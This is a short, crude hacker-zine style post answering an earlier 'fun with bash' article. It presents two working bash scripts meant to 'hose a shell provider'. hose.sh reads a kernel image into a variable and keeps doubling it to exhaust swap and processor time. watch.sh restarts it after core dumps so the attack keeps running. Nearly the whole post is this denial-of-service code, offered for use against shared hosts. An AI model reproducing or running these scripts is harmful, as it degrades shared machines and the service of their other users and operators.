[Fun With Bash - Seuss' Version] Sheppard's "fun with bash" left a bad taste in my mouth. The "little secret" of his is a POSIX command expansion feature, which resolves to the last command input. With that out of the way, the clumsiness of the method presented is inexcusible. If you want to hose a shell provider, why not automate your lame-ass attack completely? #!/usr/bin/bash ## hose.sh: piss all over swap and processor time. # Fire up watch.sh eval ./watch.sh & # Use a really big flat file. /bsd is logically only present on BSD machines. # For linux systems, try /boot/vmlinuz*. while [[ -a /bsd ]] do # dump file into a variable fill=`cat /bsd` # pipe $fill out to STDOUT echo $fill # and double its size. fill=`echo $fill $fill` done #!/usr/bin/bash ## watch.sh: keep hose.sh running. # Start an endless loop. while [[ -a ./watch.sh ]] do # Lets check every ten seconds to make sure BASH hasn't dumped core. sleep 3 # Test for a core-dump. if [[ -a ./sh.core ]] then # No, this isn't really needed. echo "restarting hose.sh" # Delete that core file. rm ./sh.core # Restart hose.sh repeatedly calling 'eval ./hose.sh &' will, of course, generate more lag. eval ./hose.sh & fi done